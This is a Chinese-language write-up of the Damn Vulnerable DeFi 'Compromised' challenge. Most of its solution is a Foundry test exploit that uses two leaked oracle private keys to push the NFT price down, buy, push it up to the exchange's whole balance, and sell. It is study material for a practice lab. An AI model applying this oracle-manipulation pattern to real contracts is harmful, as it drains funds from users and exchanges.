Challenge #7 - Compromised#
为了系统的学习 solidity 和 foundry,我基于 foundry 测试框架重新编写 damnvulnerable-defi 的题解,欢迎交流和共建~🎉
合约#
- Exchange: 提供购买(mint)和售卖 (burn) DamnValuableNFT 的方法,对应的价格由预言机提供
- TrustfulOracle: 可信价格预言机合约,维护着由几个可信的账号设定的 nft 价格,对外提供查询 nft 价格中位数的方法
- TrustfulOracleInitializer:用于部署 TrustfulOracle 合约并初始化 nft 价格
测试#
- 部署 TrustfulOracleInitializer 合约,顺带完成 TrustfulOracle 合约的部署,设置初始 nft 价格为 INITIAL_NFT_PRICE
- 部署 Exchange 合约,顺带完成 DamnValuableNFT 合约的部署,存入 EXCHANGE_INITIAL_ETH_BALANCE
- 执行攻击脚本
- 期望 Exchange 合约中的余额为 0,player 余额为 EXCHANGE_INITIAL_ETH_BALANCE,player 不拥有 nft,oracle 中的 nft 价格中位数为 INITIAL_NFT_PRICE
题解#
通过阅读 Exchange 合约可以发现 buyOne
和 sellOne
所需要付的和收回的 eth 都是由 oracle 提供的,通过 oracle.getMedianPrice()
方法获得 nft 的价格
攻击的目标是获取 Exchange 合约中的全部 eth,则可以通过低买高卖 nft 的方式来赚取 EXCHANGE_INITIAL_ETH_BALANCE 数额的 eth,因此最终目标来到了操纵预言机,通过分析 oracle 的获取 nft 价格中位数的方法可以得知,只需要操纵过半的预言机就可以达到修改价格的目的
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = getAllPricesForSymbol(symbol);
LibSort.insertionSort(prices);
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
题目中给了一段捕获到的 http 报文信息,合理推测这两段字符串就是对应其中两个预言机的私钥,将 16 进制数转成 ASCII 码,再通过 base64 解码,最终得到两个私钥
完整的流程图如下所示:
首先通过操纵预言机降低 nft 单价让 player 购买,再操纵预言机将 nft 价格提升让 player 卖出即完成攻击,代码如下:
function testExploit() public{
/*Code solution here*/
oracle1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9);
oracle2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48);
postPrice(0.0001 ether);
vm.startPrank(player);
uint256 id = exchange.buyOne{value: 0.0001 ether}();
vm.stopPrank();
uint256 exchangeBalance = address(exchange).balance;
postPrice(exchangeBalance);
vm.startPrank(player);
nftToken.approve(address(exchange), id);
exchange.sellOne(id);
vm.stopPrank();
postPrice(INITIAL_NFT_PRICE);
validation();
}
function postPrice(uint256 price) public{
vm.startPrank(oracle1);
oracle.postPrice('DVNFT', price);
vm.stopPrank();
vm.startPrank(oracle2);
oracle.postPrice('DVNFT', price);
vm.stopPrank();
}